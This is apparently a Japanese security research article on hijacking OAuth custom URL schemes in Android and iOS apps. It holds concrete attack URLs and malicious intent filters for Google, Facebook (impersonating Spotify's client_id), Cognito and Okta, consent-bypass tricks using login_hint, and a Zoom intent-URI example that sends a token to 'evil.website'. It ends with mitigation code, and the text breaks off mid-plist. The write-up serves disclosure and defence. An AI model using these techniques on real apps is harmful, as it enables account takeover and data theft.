スキームハイジャックによるOAuthアカウント乗っ取り
悪意のあるアプリがカスタムURLスキームをハイジャックしてOAuthアカウントを乗っ取る手口を、Google、Facebook、Cognito、Oktaでのエクスプロイト例と、AndroidおよびiOS向けの修正方法とともに解説します。
はじめに
OAuthは、アプリケーションとサービスの間でユーザーデータを安全かつシームレスにやり取りするための要となっています。相互接続されたエコシステムの拡大と使いやすい体験への需要を背景に、OAuthはソーシャルメディアプラットフォーム、クラウドベースのサービス、そして無数のアプリケーションとのやり取りを支える、どこにでもある存在になりました。しかし、OAuthが広く使われているということは、脆弱性を悪用しようとする悪意のある攻撃者にとって魅力的な標的でもあるということであり、そのためこのプロトコルのセキュリティを確保することは極めて重要になっています。こうした状況の中で、アプリのなりすましによるOAuthアカウント乗っ取りという潜行的な脅威が、ユーザーとOAuthプロバイダーの双方にとって重大なセキュリティ上の懸念として浮上しています。
本記事では、この脆弱性パターンの複雑な仕組みを深く掘り下げ、悪意のある攻撃者がユーザーアカウントを侵害し、正規のモバイルアプリケーションになりすまし、OAuthプロトコルを悪用する巧妙な手口を明らかにします。カスタムURLスキームのハイジャックを利用することで、攻撃者はOAuthの認証フローを操作し、ユーザーをだましてアカウントや個人情報への不正なアクセスを許可させることができます。こうした侵害の影響は広範囲に及ぶ可能性があり、ユーザーとアプリ提供者の双方にとって、データ侵害、金銭的損失、評判の低下につながります。
これを受けて本記事では、この進化する脅威について包括的な理解を提供し、最新の攻撃手法や実際の事例、そして何よりも、これらのリスクを特定し緩和する方法についての指針を示します。
OAuthの仕組み
OAuth(Open Authorizationの略)は、Web、モバイル、デスクトップのアプリケーションが、ユーザーにログイン認証情報を渡させることなく、OAuthプロバイダーからユーザーのアカウントへの限定的なアクセスを要求できるようにする、広く使われている認可フレームワークです。同時に、ユーザーはいつでも好きなときに自分のアカウントへのアクセスを取り消すことができます。分かりやすい例は、ユーザーの認証情報や詳細情報を一から入力することなく、Googleアカウントを使って何らかのアプリケーションにサインインする場合です。
OAuthは設計上、非常に柔軟な標準です。すべての実装に共通して存在するコンポーネントもありますが、その他の多くのOAuthコンポーネントは開発者のニーズに応じてカスタマイズできます。しかしこの柔軟性は、一方では不適切なプラクティスやセキュリティの設定ミスから、他方ではOAuthコンポーネント間で機密データを受け渡すためのリダイレクトの使用から生じうる、さまざまな潜在的脆弱性への扉を開くことになります。
OAuthには主に2つのバージョン、OAuth 1.0とOAuth 2.0(OAuth2とも呼ばれる)があります。また、OAuthの実装をより堅牢にするための拡張機能もいくつかあります。たとえばOpenID Connectは、OAuth 2.0の上に構築された認証レイヤーで、本人確認とユーザー認証を提供します。また、OAuth 2.0 PKCE(Proof Key for Code Exchange)は、パブリッククライアントを認可コードの傍受とリプレイから保護するためのセキュリティ拡張機能です。OAuth 1.0は非推奨です。
業界標準であることから、本記事ではOAuth 2.0を単にOAuthと呼びます。
OAuthの手順は指定されるOAuthパラメーターによって異なりますが、大まかには次のように動作します。
- クライアントアプリケーションは、ユーザーデータの一部へのアクセスを、そのデータへのアクセスの種類(
scopeで決定)とともに要求し、どのグラントタイプを使うか(response_type)を指定する。 - ユーザーは、OAuth認可サーバーにログインし、要求されたスコープに同意するよう求められる。
- クライアントアプリケーションは、認可サーバーから
codeと呼ばれる一意のワンタイムコードを受け取る。 - クライアントアプリケーションは、この
codeをaccess tokenと交換する。 - クライアントアプリケーションは、受け取ったアクセストークンを使ってリソースサーバーにAPI呼び出しを行い、ユーザーが同意したデータを要求する。
以下はAuth0によるOAuth実装の例で、Auth0 Tenantが認可サーバー、Your APIがリソースサーバーとして機能しています。

OAuth認可フレームワークの主要なコンポーネントは次のとおりです。
OAuthのロール
一般的なOAuth実装には、ロールとも呼ばれる4つのエンティティが存在します。
-
クライアントアプリケーション:リソースオーナーに代わって、リソースサーバーに保護されたリソースへのアクセスを要求するアプリケーション
-
リソースオーナー:クライアントアプリケーションからデータを要求されるユーザー
-
リソースサーバー:保護されたリソースをホストするサーバー。ユーザーデータの提供元として機能する
-
認可サーバー:リソースオーナーを認証し、適切な認可と同意を得たうえでアクセストークンを発行するサーバー。アイデンティティプロバイダーとして機能する
多くのOAuth実装では、リソースサーバーと認可サーバーが同じエンティティの一部となっており、一つのサーバーが認証を処理し、ユーザーデータへのアクセスも提供します。これはOAuthサービスプロバイダーと呼ばれます。
OAuthのグラントタイプ
OAuthは、さまざまなユースケースやシナリオに対応するため、いくつかのグラントタイプ(認可フローや認可方式とも呼ばれる)を定義しています。各グラントタイプは、特定のセキュリティ要件とアプリケーション要件に合わせて設計されています。代表的なOAuthのグラントタイプを以下に示します。
-
認可コードグラント(Authorization Code Grant):WebアプリケーションとモバイルアプリケーションのOAuthで最も一般的に使われるグラントタイプです。クライアントはまず認可サーバーから認可コードを取得し、次にそのコードをアクセストークンと交換するという2段階のプロセスを踏みます。コードの傍受とリプレイを防ぐために、Proof Key for Code Exchange(PKCE)と組み合わせて使うことができます。
-
インプリシットグラント(Implicit Grant):シングルページアプリケーション(SPA)向けに設計されたグラントタイプです。中間の認可コードを介さず、アクセストークンをクライアントに直接発行します。実装は容易ですが、セキュリティ上の懸念があるため、高いセキュリティ要件を持つ機密性の高いアプリケーションには適していません。
-
リソースオーナーパスワードクレデンシャルグラント(Resource Owner Password Credentials Grant):クライアントがエンドユーザーの認証情報を認可サーバーに提示することで、アクセストークンを直接取得できるグラントタイプです。一般に、クライアントが高度に信頼されているシナリオで使われます。
-
クライアントクレデンシャルグラント(Client Credentials Grant):このグラントタイプでは、クライアント(通常はサーバーサイドアプリケーション)が自身の認証情報(クライアントIDとシークレット)を使って認可サーバーで直接認証を行います。そのうえで自身のアイデンティティに基づいてアクセストークンを受け取ります。このグラントタイプにはユーザーは関与しません。
-
リフレッシュトークングラント(Refresh Token Grant):最初のアクセストークンとともに発行されたリフレッシュトークンを使って、新しいアクセストークンを取得するためのグラントタイプです。ユーザーに再認証を求めることなく長期間のセッションを維持するのに役立ちます。一部のOAuth実装では
access_typeと呼ばれ、onlineまたはofflineを指定できます。 -
デバイスコードグラント(Device Code Grant):入力機能が限られたデバイス(IoTデバイスやスマートTVなど)向けに設計されたグラントタイプで、ユーザーが別のデバイスで入力して認可プロセスを完了できるコードを提供します。
-
JWTベアラートークングラント(JWT Bearer Token Grant):このグラントタイプでは、JSON Web Token(JWT)を使ってアクセストークンを要求します。JWTは署名されており、通常、クライアントがトークン発行のために認可サーバーに提示できるクレームを含みます。
-
SAML 2.0ベアラーアサーショングラント(SAML 2.0 Bearer Assertion Grant):SAMLアサーションをOAuthアクセストークンと交換するために使われ、多くの場合シングルサインオン(SSO)システムの文脈で利用されます。
OAuthのスコープ
どのグラントタイプでも、クライアントアプリケーションはアクセスする必要のあるデータと、そのデータに対して許可される操作を指定しなければなりません。これは認可リクエストのscopeパラメーターを使って行います。
OAuthのスコープは実装ごとにカスタマイズでき、標準的な形式に従う必要はありません。アプリケーションは複数のスコープを一度に要求できます。以下はスコープの例です。
emailprofilecontacts.readlogging.writehttps://www.googleapis.com/auth/youtubehttps://www.googleapis.com/auth/yt-analytics-monetary.readonly
認証に使う場合、通常はOAuthの上にOpenID Connect(OIDC)のアイデンティティレイヤーが使われます。その際に最もよく使われるスコープの一つがopenid profileで、openidはOIDCが使われていることを示すために必須であり、profileは名、姓、生年月日、メールアドレスなど、ユーザーに関する基本情報の事前定義されたセットです。
何が問題になりうるか
安全でないOAuth実装からは、多くのセキュリティ上の設定ミスが生じる可能性があります。主なものは次のとおりです。
stateパラメーターの欠如によるCSRF
stateは、クライアントアプリケーションと認可サーバーの間でやり取りされるパラメーターです。開発者のニーズに応じてカスタマイズでき、通常はCSRF対策に使われます。stateパラメーターが徹底されていない場合、攻撃者は標的のユーザーを特定のアカウントに強制的にログインさせることができます。
OAuthインプリシットフローにおけるトークンの露出
OAuthインプリシットグラントの大きな問題の一つは、次のようにアクセストークンをURLのフラグメント部分に含めてしまうことです:https://auth.myapp.com/#access_token.
これにより、サードパーティのコードを含め、実行中のあらゆるJavaScriptコードからトークンにアクセスできてしまいます。さらに、WebサイトがHTTPSを使っていない場合は、MITM攻撃によってトークンが漏えいするおそれがあるという追加のリスクも生じます。これを避けるため、OAuthの認可コードグラントには中間ステップがあり、トークンを直接要求する代わりにワンタイムコードを要求します。このコードはアクセストークンと交換されると自動的に無効化されます。この交換はクライアントアプリケーションのclient_secretを使って行われ、通常これはユーザーには公開されません(モバイル実装のように例外もあります)。
スコープ検証の不備または欠如
OAuthフローの中で、クライアントアプリケーションはscopeパラメーターを指定します。これは、認可サーバーに要求するユーザーデータ(openid、profile、email...)とアクセスの種類(read、write、readonly)を決めるもので、認可サーバーはそのアクセスを与えることについてユーザーの同意を求めます。
アプリケーションは、最初にたとえばprofileのような非常に限定的なスコープを要求してユーザーの同意を得た後で、スコープを変更してより多くのユーザーデータを要求することがあります。認可サーバーが新たに要求されたスコープを最初に要求されたスコープと照合して検証しない場合、クライアントアプリケーションはユーザーの同意を回避し、ユーザーが最初に同意した範囲を超えるデータを要求できてしまいます。
緩いredirect uri検証によるOAuthグラントの漏えい
OAuthフローの重要な欠陥の一つは、異なるOAuthコンポーネント間で機密データ、特にクライアントアプリケーションが認可サーバーにユーザーデータを要求するためのOAuthグラントを受け渡すために、ブラウザー内のリダイレクトを使っていることです。
リダイレクトに依存しているということは、OAuthのredirect_uriパラメーターを厳密に検証しなければならないということです。検証が緩いと、悪意のある攻撃者は標的ユーザーのOAuthグラントを漏えいさせ、その結果クライアントアプリケーション上のアカウントを乗っ取ると同時に、リソースサーバー上のデータにも(スコープに応じて)限定的にアクセスできてしまいます。
以下は、OAuthグラントの漏えいにつながりうる緩いredirect_uri検証の例です。
redirect_uriの検証なし:最悪のケースです。リダイレクトURIが一切検証されずにそのまま受け入れられるため、攻撃者は任意のドメインを使ってユーザーをだましてログインさせることができ、ユーザーがログインした時点でそのOAuthグラントが漏えいします。redirect_uriの前方一致:一部のアプリはリダイレクトURIを厳密に照合する代わりに、特定のドメインで始まっているかどうかだけを確認します。たとえば、redirect_uriが次の値で始まるかどうかを確認している場合を考えます:https://www.domain.com, この場合、攻撃者はhttps://www.domain.com.malicious.comを使うことができ、本来は無効であるべきにもかかわらず有効とみなされてしまいます。redirect_uriのワイルドカード一致:一部の実装では、任意のサブドメインをリダイレクトURIとして使用できます。つまり、攻撃者がいずれかのサブドメインを侵害または乗っ取ることができれば、それをリダイレクトURIとして使えるということです。redirect_uriの部分一致:一部の実装ではドメインは検証してもパスは検証しません。リダイレクトURI内にオープンリダイレクトが見つかった場合、攻撃者は2回目のリダイレクトを使ってOAuthグラントを漏えいさせることができるため、セキュリティ上の問題となります。
ループバックアドレスによるOAuthグラントの漏えい
一部のOAuthプロバイダーは、クライアントアプリケーション(デスクトップおよびモバイル)と認可サーバーの間でデータをやり取りするためにループバックアドレスに依存しています。これにより、悪意のあるアプリが特定のポートで独自のローカルサーバーを起動し、そのサーバーをredirect_uriとしてOAuthフローを開始し、結果としてOAuthグラントを漏えいさせることが可能になります。
以下は、gcloud cliが認証できるように、Google Cloud SDKがlocalhostをredirect_uriとしてGoogle OAuthを使用している例です。
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://localhost:8085/&scope=openid&access_type=offline
なお、上記のclient_idはgcloud cliのデスクトップアプリケーション向けのものでしたが、モバイル端末からもアクセス可能でした。そのOAuthフローをデスクトップのユーザーエージェントに制限するだけで防げたはずの、余分なアタックサーフェスを攻撃者に与えていたことになります。
OAuthにおけるモバイルアプリのなりすまし
OAuth認証フローにおける重要な前提の一つは、redirect_uriが指すエンティティの所有権です。次の設定を例に考えます:redirect_uri=https://www.clientapp.com/callback/oauth, この場合、www.clientapp.comはクライアントアプリに属していると想定します。なぜなら、それをredirect_uriとして設定したのはクライアントアプリであり、そのドメインの所有を主張できるのはクライアントアプリだけだからです。
モバイルアプリの場合、OAuthの一般的な実装はredirect_uri=com.target.app://oauthのようなカスタムスキームに依存しています。問題は、ユーザーの端末上のどのアプリケーションでもこのスキームを登録でき、正規のアプリケーション向けのOAuthグラントを受け取れてしまうことです。
アプリケーションがカスタムURIスキームを登録するには、次のようなインテントフィルターをマニフェストに追加して宣言する必要があります。
<activity android:exported="true" android:name="PACKAGE_NAME.CLASS_NAME">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="oauthredirect" android:scheme="oauthscheme"/>
</intent-filter>
</activity>
2つのアプリが同じスキームを登録することは可能です。その場合、システムはhost、port、path、MIMEタイプなどの他の属性を使って2つのアプリを区別できます。両方のアプリが同じ属性を持つ場合、システムはどちらのアプリで続行するかをユーザーに選択させます(図2)。

インテントフィルターのdata要素の指定が具体的でないほど、カバーする範囲は広くなります。たとえば受け入れるデータがschemeしか指定していない場合、そのスキームを持つすべてのURIが該当するインテントフィルターで受信されます。
これらすべてを実践に移すと、攻撃者はOAuthを悪用するために次のシナリオを実行します。

上の図の内訳は次のとおりです。
1- 悪意のあるアプリがインストールされ、正規アプリはインストールされていない場合:
このシナリオでは、悪意のあるアプリは正規アプリに属するOAuthのカスタムスキームを登録し、OAuth認証フローを開始できます。ユーザーがログインして同意すると、悪意のあるアプリはユーザーの追加操作なしに自動的にOAuthを受け取ります。
2- 悪意のあるアプリと正規アプリの両方がインストールされている場合:
i - 正規アプリのインテントフィルターのdata要素がスキームのみを指定している場合:
このシナリオでは、悪意のあるアプリは正規アプリに属するOAuthのカスタムスキームを登録できます。正規アプリがOAuthフローを開始し、ユーザーがログインして同意すると、正規アプリと悪意のあるアプリのどちらかをユーザーに選ばせるポップアップが開きます。ユーザーの選択次第で、悪意のあるアプリが認可コードを受け取る場合と受け取らない場合があります。
ii - 正規アプリのインテントフィルターのdata要素がスキームとホスト名を指定している場合:
-
redirect_uriのホスト検証が緩い場合:このシナリオでは、悪意のあるアプリは正規アプリに属するOAuthのカスタムスキームを登録し、redirect_uri内のホスト名を変更したうえでOAuth認証フローを開始できます。ユーザーがログインして同意すると、悪意のあるアプリはユーザーの追加操作なしに自動的にOAuthグラントを受け取ります。
-
redirect_uriの検証が厳密な場合:このシナリオでは、正規アプリと悪意のあるアプリのどちらがOAuthフローを開始したかにかかわらず、ログインと同意の後、ユーザーには常に両方のアプリが提示されます。悪用の結果はユーザーの選択に左右されます。
iii - Android / iOSのスキーム混同:
標的のアプリケーションがAndroidとiOSで異なるスキームを使ってOAuthを利用している場合、攻撃者はアプリのiOS版向けのカスタムスキームをAndroidの標的上で登録し、OAuthフローを開始できます。これにより、悪意のあるアプリはスキームをめぐる正規アプリケーションとの競合を回避できます。
以下の例では、同じアプリがAndroidとiOSでそれぞれcom.googleusercontent.apps.616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1とcom.googleusercontent.apps.340331662088-a8asqpqohdks6umfpk9p0h1oc2e885v1という2つの異なるスキームを使っています。


インテントURIによるバイパスを用いたOAuthにおけるモバイルアプリのなりすまし(Chromeのみ)
これは別の攻撃ベクトルで、攻撃者は被害者をインテントベースのURIにリダイレクトさせ、そのインテントから悪意のあるWebホストへの2回目のリダイレクトを強制します。これにより、攻撃者は悪意のあるアプリなしでOAuthグラントを漏えいさせることができます。この攻撃は、インテントURIがサポートされているChromeに対してのみ有効です。
その一例がZoomで報告されたOAuthアカウント乗っ取りです。攻撃は次のように展開されます。
この攻撃は、ユーザーをだまして次のURLにアクセスさせることで実行できます。
https://accounts.google.com/o/oauth2/v2/auth?response_type=code&access_type=offline&client_id=849883241272-ed6lnodi1grnoomiuknqkq2rbvd2udku.apps.googleusercontent.com&scope=profile%20email&redirect_uri=https%3A%2F%2Fzoom.us%2Fgoogle%2Foauth&state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth?#Intent;scheme=https://evil.website/;end;
被害者はまず次のURLに到達します。
https://zoom.us/google/oauth?state=intent%3A%2F%2Fzoom.us%2Fgoogle%2Foauth%3F&code=SECRET&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&authuser=0&prompt=none#Intent;scheme=https://evil.website/;end;
続いて次のURLに移ります。
intent://zoom.us/google/oauth?&token=ENCRYPTED_TOKEN#Intent;scheme=https://evil.website/;end;
最終的に次のURLに到達します。
https://evil.website/zoom.us/google/oauth?&token=ENCRYPTED_TOKEN
OAuthにおけるモバイルアプリのなりすまし:悪用
以下の一覧は、代表的なOAuthプロバイダーのいくつかに対する実際の悪用を示したものです。この一覧は網羅的なものではない点にご注意ください。当社は、地域の医療機関や政府のアイデンティティプロバイダーなど、当社の大口顧客の一部に属する他の脆弱なプロバイダーも発見しています。
Google OAuth
当社の分析では、Google OAuthを使っている複数のアプリケーションがカスタムスキームによる実装を使っていることが判明しました。Googleのカスタムスキームは通常、com.googleusercontent.apps.[APPLICATION_ID]という形式に従います。
カスタムスキームを使うモバイル向けの典型的なGoogle OAuth認可リクエストのURLは次のようになります。ここで[APPLICATION_ID]はアプリケーションID(例:616463764658-p01hhcj82u4mqjnp1oca04i3o67fjsm1)のプレースホルダーです。
https://accounts.google.com/o/oauth2/v2/auth?client_id=[APPLICATION_ID].apps.googleusercontent.com&redirect_uri=com.googleusercontent.apps.[APPLICATION_ID]://oauthredirect&scope=email+profile&response_type=code
認証と同意に成功すると、上記のURLはOAuthグラントとその他のOAuthパラメーターをURLパラメーターとして付けてcom.googleusercontent.apps.[APPLICATION_ID]://oauthredirectにリダイレクトし、それらはクライアントアプリケーション側で次のインテントフィルターを使って受信されます。
<activity android:exported="true" android:name="net.openid.appauth.RedirectUriReceiverActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:host="oauthredirect" android:scheme="com.googleusercontent.apps.[APPLICATION_ID]"/>
</intent-filter>
</activity>
悪用の過程では、いくつかの課題に直面しました。主なものは次のとおりです。
- 登録済みのカスタムスキームをめぐる正規アプリケーションとの競合
これに対処する方法の一つは、前述のAndroid / iOSのスキーム混同を利用することです。
- 同意のためにユーザー操作が必要
GoogleのWeb向けOAuthフローでは、ユーザーがすでに同意している場合、OAuthパラメーターprompt=noneを設定することで同意画面を回避できます。しかし、この挙動はモバイルには適用されません(Webのみ)。当社が見つけた、同意プロンプトを回避してシームレスなフローを実現できる手法の一つは、OAuthパラメーターlogin_hintを追加し、その値に標的ユーザーのメールアドレスを設定するというものでした。これには事前にユーザーのメールアドレスを知っている必要があります。それを実現する手法もいくつかありますが、本記事では取り上げません。
Facebook OAuth
Facebookは標準のカスタムスキームfbconnectを使用します。スキームをめぐる競合を避けるため、アプリはインテントフィルターのdata要素に追加のプロパティhostを指定する必要があります。
モバイル向けの典型的なFacebook OAuth認可リクエストのURLは次のようになります。ここで[APPLICATION_ID]はアプリケーションID(例:com.spotify.music)のプレースホルダーです。
https://m.facebook.com/v15.0/dialog/oauth?client_id=[CLIENT_ID]&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.[APPLICATION_ID]&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true
上記のGoogle OAuthフローと同様に、認証と同意に成功すると、ユーザーはOAuthグラントとその他のOAuthパラメーターをURLパラメーターとして付けてfbconnect://cct.[APPLICATION_ID]にリダイレクトされます。クライアントアプリケーション側のインテントフィルターは次のようになります。
<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="fbconnect" android:host="cct.[APPLICATION_ID]"/>
</intent-filter>
</activity>
アプリはカスタムスキームとあわせてホストを指定すべきですが、バックエンド側ではホストが検証されていません。そのため攻撃者は、別のホストでOAuthフローを開始することで、スキームをめぐる正規アプリケーションとの競合を回避できます。以下に例を示します。
正規のSpotifyアプリケーションは、スキームとしてfbconnect、ホストとしてcct.com.spotify.musicを使用しており、認可リクエストのURLは次のようになります:https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.spotify.music&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true
正規のSpotifyアプリケーションのインテントフィルターは次のようになります。
<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="fbconnect" android:host="cct.com.spotify.music"/>
</intent-filter>
</activity>
悪意のあるアプリは、同じOAuthフローを別のホストで開始できます。FacebookのOAuthバックエンドはcct.で始まる任意のホストを許可するため、正規のSpotifyアプリケーションが想定していないcct.com.fakespotify.malwareのような別のホストを使います。そのような認可リクエストのURLの例は次のとおりです:https://m.facebook.com/v15.0/dialog/oauth?client_id=174829003346&sso=chrome_custom_tab&nonce=RANDOM_NONCE&scope=openid%2Cpublic_profile&login_behavior=NATIVE_WITH_FALLBACK&redirect_uri=fbconnect%3A%2F%2Fcct.com.fakespotify.malware&response_type=id_token%2Ctoken%2Csigned_request%2Cgraph_domain&return_scopes=true
悪意のあるSpotifyアプリケーションのインテントフィルターは次のようになります。
<activity android:name="com.facebook.CustomTabActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="fbconnect" android:host="cct.com.fakespotify.malware"/>
</intent-filter>
</activity>
認可サーバーにデータを要求しているアプリを識別するのはclient_idパラメーターであるため、悪意のあるアプリケーションは正規アプリ向けのものと同じOAuthグラントを受け取ることになります。つまり、Spotifyと同じclient_id 174829003346を持つことで、Spotifyへのなりすましに成功したことになります。
Amazon Cognito OAuth
Amazon Cognitoは、Amazon Web Services(AWS)が提供するサービスで、Webアプリケーションとモバイルアプリケーションにアイデンティティ管理とユーザー管理の機能を提供します。開発者がアプリケーションに認証、認可、ユーザー管理の機能を容易に追加できるよう設計されています。Amazon Cognitoでは、外部のアイデンティティプロバイダーを通じてユーザーを認証し、AWS上のアプリのバックエンドリソースやAmazon API Gatewayの背後にある任意のサービスにアクセスするための一時的なセキュリティ認証情報を提供できます。Amazon Cognitoは、SAMLまたはOpenID Connectに対応した外部のアイデンティティプロバイダーや、ソーシャルアイデンティティプロバイダー(Facebook、Twitter、Amazonなど)と連携でき、独自のアイデンティティプロバイダーを統合することもできます。
ここで注目するのはOpenID Connectの部分です。OAuth 2.0の上に構築されており、モバイルのOAuth認証にカスタムスキームを使うからです。Amazon CognitoのモバイルOAuthのURLは次のようになります。
https://[AMAZON_COGNITO_ENDPOINT]/login?response_type=code&client_id=[CLIENT_ID]&redirect_uri=[CUSTOM_SCHEME]://sign-in&scope=openid
クライアントアプリケーション側には、次のインテントフィルターがあります。
<activity android:name="com.amplifyframework.auth.cognito.activities.HostedUIRedirectActivity" android:exported="true" android:launchMode="singleTask">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="[CUSTOM_SCHEME]"/>
<data android:host="sign-in"/>
<data android:host="sign-out"/>
</intent-filter>
</activity>
- ユーザー操作の回避
別のエンドポイント/oauth2/authorizeを使うことで、ユーザー操作を回避できます。以下はURLの例です。
https://[AMAZON_COGNITO_ENDPOINT]/oauth2/authorize?redirect_uri=[CUSTOM_SCHEME]://sign-in&response_type=TOKEN&client_id=[CLIENT_ID]&scope=openid
Okta OAuth
Oktaは、アプリケーション、デバイス、ユーザーに対して安全な認証と認可を提供する、クラウドベースのアイデンティティおよびアクセス管理(IAM)プラットフォームです。組織は、オンプレミスとクラウドの両方にあるさまざまなリソースへのアクセスを管理・制御できます。
Oktaの主な提供機能はシングルサインオンで、ユーザーは一組のログイン認証情報で複数のアプリケーションやサービスにアクセスできます。Okta SSOは複数の連携方式を提供しており、最も一般的なのはSAMLとOpenID Connectです。
上記のアイデンティティプロバイダーと同様に、OktaはOAuthのモバイル実装にカスタムスキームを使います。標準のスキームはなく、アプリはcom.myorg.myapp.devのような独自のカスタムスキームを考案でき、その場合の認可リクエストのURLは次のようになります。
https://[OKTA_IDP_ENDPOINT]/oauth2/[IDENTIFIER]/v1/authorize?scope=[SCOPE]&response_type=code&redirect_uri=com.myorg.myapp.dev://login&client_id=[CLIENT_ID]
クライアントアプリケーション側には、OAuthグラントを受信するための次のインテントフィルターがあります。
<activity
android:name="com.okta.oidc.OktaRedirectActivity"
android:exported="true"
android:launchMode="singleInstance"
android:autoRemoveFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="com.myorg.myapp.dev" />
</intent-filter>
</activity>
- ユーザー操作の回避
Google OAuthと同様に、OktaにもOAuthパラメーターlogin_hintがあり、標的ユーザーのメールアドレスを指定すると、悪意のあるアプリはユーザー操作(同意)を回避してシームレスなフローを実現できます。
脆弱性が見つかった人気アプリ
ダウンロード数が35億を超える最大級のソーシャルメディアネットワークの一つが、この脆弱性パターンに対して脆弱であることが判明しました。前述のAndroid / iOSのスキーム混同の手法を使って正規アプリとのスキーム競合を回避する概念実証(PoC)エクスプロイトを開発しました。また、login_hintパラメーターに標的ユーザーのメールアドレスを設定することで、ユーザー操作も回避しています。
ユーザー操作を回避する実際に動作する概念実証を開発するには、いくつかのステップを経る必要があり、各ステップにそれぞれ課題がありました。
AndroidアプリがGoogle OAuthに使うカスタムスキームは、正規アプリが端末にインストールされた時点ですでに登録されていました。同じスキームを登録しようとする悪意のあるアプリがあると競合が発生し、ユーザーは2つのアプリ(正規アプリと悪意のあるアプリ)のどちらかを選ばなければなりません。この課題を克服するため、Androidの標的に対してiOSのスキームを使いました。これにより競合を回避し、その結果としてユーザー操作の最初の部分を回避できました。
もう一つの課題は、OAuth認証を完了するために依然としてユーザー操作が必要だったことです。これを回避できた方法の一つは、ユーザーのメールアドレスを漏えいさせ、それをlogin_hintというOAuthパラメーターに渡すことでした。これにより、エクスプロイトはもはやユーザー操作に依存しなくなりました。
漏えいしたOAuthグラントは次のとおりです。このグラントにより、標的ユーザーのアカウントにアクセスできるだけでなく、要求したスコープに応じてそのユーザーのGoogleアカウントにも限定的にアクセスできます。

当社はこの脆弱性を当該ソーシャルネットワークに報告し、先方はそれを認めました。
ダウンロード数が1億を超えるアプリを含め、他の多くの人気アプリもこのパターンに対して脆弱であることが判明しました。
推奨事項
OAuthの文脈では、従来からカスタムスキームが使われてきましたが、より安全で信頼性の高い選択肢があります。主なものは次のとおりです。
- Google Identity ServicesやAndroid向けFacebook Express Loginのようなアプリ間連携
- Androidの検証可能なAppLinks
- iOSの関連ドメイン(Associated Domains)
Android Verifiable App LinksとiOS Associated Domainsは、それぞれAndroidとiOSのオペレーティングシステムが実装している仕組みで、モバイルアプリケーションのセキュリティとユーザー体験を向上させます。Android Verifiable App Linksは、ユーザーがAndroidアプリに関連付けられたWebリンクをクリックした際に、システムがその真正性を検証することを保証し、フィッシングや悪意のある攻撃を受けにくくします。一方、iOS Associated Domainsは、iOSアプリが特定のWebドメインとの間に信頼された接続を確立できるようにし、シングルサインオンやユニバーサルリンクのような、アプリとWebコンテンツの間のシームレスな統合を可能にします。どちらの技術もモバイルアプリのやり取りの信頼性を高め、ユーザー操作を効率化することで、より安全で便利なモバイルエコシステムに貢献します。
Android
バックエンドに、次のような形式の/.well-known/assetlinks.jsonをホストする必要があります。
[
{
"relation": [
"delegate_permission/common.handle_all_urls",
"delegate_permission/common.get_login_creds"
],
"target": {
"namespace": "android_app",
"package_name": "com.myapplication.android",
"sha256_cert_fingerprints": [
"APPLICATION_CERT_FINGERPRINT"
]
}
}
]
AndroidManifest.xml
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- If a user clicks on a shared link that uses the "http" scheme, your
app should be able to delegate that traffic to "https". -->
<data android:scheme="http" />
<data android:scheme="https" />
<!-- Include one or more domains that should be verified. -->
<data android:host="auth.myapp.com" />
</intent-filter>
Kotlin
Log.i(TAG, "Creating auth request for login hint: $loginHint")
val authRequestBuilder: AuthorizationRequest.Builder = Builder(
mAuthStateManager.getCurrent().getAuthorizationServiceConfiguration(),
mClientId.get(),
ResponseTypeValues.CODE,
"https://auth.myapp.com/oauth/handler" // The redirect URI with an https scheme
)
.setScope(mConfiguration.getScope())
if (!TextUtils.isEmpty(loginHint)) {
authRequestBuilder.setLoginHint(loginHint)
}
mAuthRequest.set(authRequestBuilder.build())
iOS
iOSでは、バックエンドに次のような形式の/.well-known/apple-app-site-associationをホストする必要があります。
{
"applinks": {
"details": [{
"appID": "ABCDE12345.com.myapplication.ios",
"paths": ["/oauth/redirect/*"]
}]
},
"appclips":{
"apps":[
"ABCDE12345.com.myapplication.ios"
]
},
"webcredentials":{
"apps":[
"ABCDE12345.com.myapplication.ios"
]
}
}
release.entitlements
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
